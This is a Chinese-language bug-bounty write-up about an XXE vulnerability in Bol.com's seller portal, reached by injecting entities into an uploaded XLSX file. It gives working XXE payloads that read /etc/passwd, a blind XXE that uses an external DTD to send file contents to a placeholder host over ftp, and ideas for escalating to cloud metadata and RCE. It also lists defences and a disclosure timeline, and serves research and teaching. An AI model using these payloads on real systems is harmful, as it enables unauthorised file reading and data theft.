看我如何发现Bol.com网站的XXE漏洞并成功利用
字数 1327 2025-08-18 11:38:48
XXE漏洞挖掘与利用技术详解
1. XXE漏洞概述
XML外部实体(XXE)攻击是一种基于XML文档处理的漏洞,攻击者通过操纵XML实体来读取服务器上的敏感文件或执行远程请求。
1.1 相关概念
- LFI (Local File Inclusion): 在服务器响应中显示内部服务器文件的过程
- RCE (Remote Code Execution): 在服务器上执行攻击者代码的过程
- SSRF (Server-Side Request Forgery): 诱导服务器向内部系统发起请求
1.2 XXE攻击的危害
- 读取服务器敏感文件(/etc/passwd、配置文件等)
- 可能导致服务器拒绝服务
- 可能升级为RCE漏洞
- 可能用于SSRF攻击内部网络
- 可能访问云元数据服务获取临时凭证
2. XML与DTD基础
2.1 XML基本结构
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
2.2 DTD (Document Type Definition)
DTD允许定义自定义实体:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY body "Don't forget me this weekend!" >
]>
2.3 危险的实体定义
通过SYSTEM关键字可以加载外部资源:
<!ENTITY body SYSTEM "file:///etc/passwd">
3. XXE攻击技术
3.1 基本XXE攻击
当XML解析器允许加载外部实体时,可以读取服务器文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY body SYSTEM "file:///etc/passwd" >
]>
<note>
<body><r>&body;</r></body>
</note>
3.2 盲XXE攻击
当响应不直接显示时,可以通过外部DTD泄漏数据:
- 创建恶意DTD文件(sp2.dtd):
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">
- 发送包含外部DTD引用的XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
<body><r>&body;</r></body>
</note>
3.3 文件枚举技术
尝试解析目录而非文件可以枚举服务器文件:
<!ENTITY body SYSTEM "file:///etc/">
4. 实际案例分析:Bol.com XXE漏洞
4.1 攻击面发现
通过"卖家门户"的Excel文件上传功能:
- 下载库存Excel文件(XLSX格式)
- XLSX实际上是包含多个XML文件的ZIP包
- 修改sheet1.xml注入XXE payload
- 重新打包并上传
4.2 攻击步骤
- 解压XLSX文件
- 编辑sheet1.xml添加恶意实体
- 将示例描述替换为实体引用
- 重新打包为XLSX格式
- 上传文件并观察结果
4.3 成功利用
成功将/etc/passwd内容注入到产品描述中,证明漏洞存在。
5. 防御措施
5.1 最佳实践
- 禁用XML解析器中的DTD支持
- 使用更安全的解析器配置
- 实施输入过滤和验证
5.2 具体防护方案
参考OWASP对不同XML解析器的安全配置指南:
- 禁用外部实体处理
- 禁用DTD处理
- 实施严格的输入验证
6. 工具推荐
-
XXEserve: 用于捕获XXE请求的FTP/HTTP服务器
- 作者:staaldraad
- 功能:显示所有XXE请求,伪造FTP服务
-
Buffalo工具: 用于将XXE payload嵌入多种文件格式
7. 扩展利用思路
- 检查云元数据服务(如AWS/Azure/GCP)
- 查找包含API密钥的配置文件
- 尝试从LFI升级到RCE
- 内部网络探测和端口扫描
8. 漏洞报告时间线
- 发现漏洞并验证
- 撰写详细报告
- 提交给厂商
- 厂商快速响应并修复
- 漏洞关闭
9. 学习资源
- OWASP XXE防护指南
- 不同XML解析器的安全配置
- XXE payload变种集合
通过系统学习XXE漏洞原理、利用技术和防御措施,安全研究人员可以更有效地发现和报告此类漏洞,同时开发人员也能更好地保护自己的应用免受此类攻击。